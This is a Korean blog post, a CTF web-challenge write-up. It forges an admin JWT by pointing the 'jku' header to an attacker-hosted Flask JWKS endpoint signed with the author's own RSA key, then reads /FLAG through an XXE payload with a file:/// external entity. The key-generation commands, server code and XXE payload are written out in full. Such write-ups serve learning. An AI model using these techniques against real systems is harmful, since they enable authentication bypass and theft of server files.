회원가입 후 로그인 시 burpsuite를 통해 뜯어보니
1. Post -> Id,pw
2. Get -> JWT
이후 JWT 검증하여 ADMIN이 아니면 로그인이 안되게 막아놨다.

여기서 jwt를 분석하니 localhost/jwks.json 경로에서 가져왔다. 보통 JWT 헤더 뜯어보면 alg랑 뭐 해서 두개 밖에 없었던 걸로 기억하는데 5개나 들어있는 것으로 보아 위조하라고 냅둔것 같다. 이걸 공격자 서버로 수정하면 jwt를 공격자가 발급할 수 있을것 처럼 보였다. 따라서 공격자 서버 설정부터 했다.
구름에서 진행하였다. python3 모듈 없는건 pip3로 설치하면 된다.
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
실행후 public.pem , private.pem 생성
get_n_e.py
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import base64
def base64url_uint(val):
return base64.urlsafe_b64encode(val.to_bytes((val.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode('ascii')
with open("public.pem", "rb") as f:
pub = serialization.load_pem_public_key(f.read(), backend=default_backend())
numbers = pub.public_numbers()
n = numbers.n
e = numbers.e
print("n =", base64url_uint(n))
print("e =", base64url_uint(e))
n,e값 얻어 app.py 에 넣는다.
app.py
from flask import Flask, jsonify
app = Flask(__name__)
@app.route("/jwks.json")
def jwks():
return jsonify({
"keys": [
{
"kty": "RSA",
"kid": "server-key",
"use": "sig",
"alg": "RS256",
"n": "xPlLZwyZhLRF5_5r-H-Xq18lLKCdA7dYvp-kBdhxF1GXUcaaa22qCQEhH2rfQ112E4pdGeR04_7VMY8AYivhQU6fnLYhwH2OFAPk33Fr6k3nPiJ1EnuH1hZteZozPvzrqQfsILoDjB9fDM6aWLqN_tpQphUvGAjUOeSNWk6TwUlIXTfAfvHzhb99ighUpcz19fgb9XYCbtRLBoNcCV_wTwXjSzrlMydP8GDPtzVDQJaAvFgT11ODcXOklqAb8KuvKBKxjsvz0ESQOf5WYcQL6Y70Uy9JihwJzYxxs1IGBDYdA3N9p2dJFRmr8jZ3iLMfwvnlo5-0PWlj0EX9IW92bQ",
"e": "AQAB"
}
]
})
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010
구름 포트포워딩 및 실행 URL 셋팅을 해야한다.


python3 app.py

그리고 jwt를 수정한다. RSA 암호방식이기에 구름의 private key를 확인해 아래의 사이트에 넣으면 입맛대로 jwt를 수정할 수 있다.
우선 이 서버는 JWT 헤더부분에 jku 가 노출되어 있으며 이를 수정하면 그대로 백엔드에서 수정한 주소에서 공개키를 가져와 서명을 검증하는 방식인 것 같다. 따라서 공격자 PC에서 JWT를 발급하도록 jku를 수정한다.

jku: {attacker_ip/jwks.json}
그러고 user role admin으로 수정한다
"user_role": "admin"
그럼 로그인이 된다.

그래서 이제 /FLAG를 읽어야하는데 , 서버 파일을 읽을 수 있는 취약점이 있나 대쉬보드를 뒤적이다보니, profile로 들어가면 아래와 같은 에러가 출력된다.

아마 userprofile에서 xml만을 읽는 것 같은데 XML 파싱할 때 외부 엔티티(External Entity)를 읽는 공격인 XXE를 활용 할 수 있을 것 같다.
JWT cty : jwt/xml
활용하여 flag 도출하였다.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///FLAG">
]>
<user>
<user_id>ges@ges</user_id>
<username>&xxe;</username>
<role>user</role>
</user>

그럼 NAME에서 FLAG를 확인 할 수 있을 것이다.

아쉽지만 본선 진출은 못할거같아서 롸업제출은 포기하고 5시 반까지 웹에서 한 개 풀고 바로 블로그에 썻다...
CTF 하루종일하고 한문제 푼거 자랑하고 싶은데 참고 공부나 해야겠따.